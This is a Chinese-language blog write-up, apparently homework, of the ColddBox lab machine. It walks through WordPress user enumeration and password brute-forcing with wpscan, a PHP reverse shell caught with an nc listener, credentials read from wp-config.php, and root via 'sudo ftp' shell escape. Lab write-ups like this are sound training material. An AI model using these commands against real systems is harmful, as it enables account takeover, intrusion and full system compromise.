【作业】ColddBox 靶场

Wordpress 漏洞利用与后渗透。

突破口

渗透这类 CMS 网站时,不要上来就狂扫,它大部分目录都是固定的,开源去看对应版本,商业的找几篇文章。特别 注意的是一定先去找对应版本漏洞,不要自己手工测基本行不通的。

从收集到的信息里可以找到这个登入口,基于之前的 Wordpress 渗透经验登入口是可以爆破的,渗透过程要记住 每个可能的点都要去尝试,都尝试一遍后没结果继续深入尝试。

$ wpscan --url practical.secself.com --enumerate
...
[i] User(s) Identified:
[+] the cold in person
| Found By: Rss Generator (Passive Detection)
[+] hugo
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] philip
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] c0ldd
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
...

使用 Wordpress 专用扫描探测工具 wpscan ,从结果里可以看出枚举出三个用户,但密码未知。工具怎么知道这几 个账户的存在,这是基础漏洞,在金融、银行等大公司这个漏洞是致命的。

  ERROR: Invalid username. Lost your password?
 ERROR: The password you entered for the username c0ldd is incorrect. Lost your
password?

上面两个提示可以判断出用户是否存在,这几乎是开发人员最容易忽视的问题,在注册、找回密码和登入等涉及用户的接口非常常⻅。

打点

开始爆破登入接口,还是使用 wpscan 工具,也可以用bp。

ERROR: The password you entered for the username c0ldd is incorrect. Lost your
password?
$ wpscan --url practical.secself.com --usernames c0ldd --passwords xato-net-10-million-
passwords-100000.txt
...
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - c0ldd / 9876543210
Trying c0ldd / cowboys1 Time: 00:00:44 <
102915) 2.83% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: c0ldd, Password: 9876543210
...

最后爆破用户 c0ldd 成功,拿到密码登入到后台,直接反弹 shell 到 kali 上,脚本地址。

https://github.com/pentestmonkey/php-reverse-shell

最后爆破用户 c0ldd 成功,拿到密码登入到后台,直接反弹 shell 到 kali 上,脚本传送⻔。

拿到shell准备开始提权

$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.104] from (UNKNOWN) [192.168.2.106] 51414
Linux ColddBox-Easy 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020
x86_64 x86_64 x86_64 GNU/Linux
06:55:10 up 1:08, 0 users, load average: 0.02, 0.01, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
...

提权

还是老一套,从 sudo 开始尝试,提示 no tty present 需要创建一个 tty 命令行。

使用 python 创建一个 tty 控制台,用于 sudo 提权

python3 -c 'import pty;pty.spawn("/bin/bash")'

使用 sudo -l 发现需要使用密码,在机器上收集一些密码信息。

$ sudo -l
sudo: no tty present and no askpass program specified
www-data@ColddBox-Easy:/$ sudo -l
sudo -l
[sudo] password for www-data:

找到 Wordpress 配置信息,看下数据库用户名和密码是否与系统账户重合

...

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'colddbox');
/** MySQL database username */
define('DB_USER', 'c0ldd');
/** MySQL database password */
define('DB_PASSWORD', 'cybersecurity');
/** MySQL hostname */
define('DB_HOST', 'localhost');
...

成功切换到 c0ldd 用户,继续使用 sudo 提权

$ sudo -l
sudo -l
[sudo] password for c0ldd: cybersecurity
Coincidiendo entradas por defecto para c0ldd en ColddBox-Easy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/b
in
El usuario c0ldd puede ejecutar los siguientes comandos en ColddBox-Easy:
(root) /usr/bin/vim
(root) /bin/chmod
(root) /usr/bin/ftp

ftp提权成功,拿到root权限

$ sudo ftp
sudo ftp
ftp> !/bin/bash
!/bin/bash
# id
id
uid=0(root) gid=0(root) grupos=0(root)

最新文章

  1. Android客户端与Eclipse服务器端的Socket通信
  2. CentOS 7下源码安装MySQL 5.6
  3. 第三课:sea.js模块加载原理
  4. maven基础知识
  5. 转!!Java中关于Null的9个解释(Java Null详解)
  6. 【性能诊断】八、并发场景的性能分析(windbg案例,连接泄露)
  7. SpringMvc中Interceptor拦截器用法
  8. poj 2635 The Embarrassed Cryptographer(数论)
  9. 画表格防OFFICE的功能
  10. margin系列之内秀篇
  11. Arcgis api For silverlight 加载高德地图
  12. ComboGrid 行内点击编辑内容
  13. CGFloat,CGPoint,CGSize,CGRect
  14. node anyproxy ssi简易支持
  15. C#常见错误解决方法
  16. Python冒号的解释
  17. CSS绝对定位的原点:是在border上、padding上还是在content上?
  18. 探讨npm依赖管理之peerDependencies
  19. 酷狗.kgtemp文件加密算法逆向
  20. python网络编程:socketserver的基本使用

热门文章

  1. 跳板攻击之:EarthWorm代理转发
  2. vue element-table滚动条样式修改
  3. 报错解决:DENIED Redis正在保护模式下运行
  4. C# datatable group by分组
  5. 第四周作业-N67044-张铭扬
  6. lg8935 [JRKSJ R7] 茎 题解
  7. u8g2 资料汇集
  8. vmware网络连接
  9. Linux环境使用Docker安装GitLab
  10. TPS,RPS,QPS,RT的区别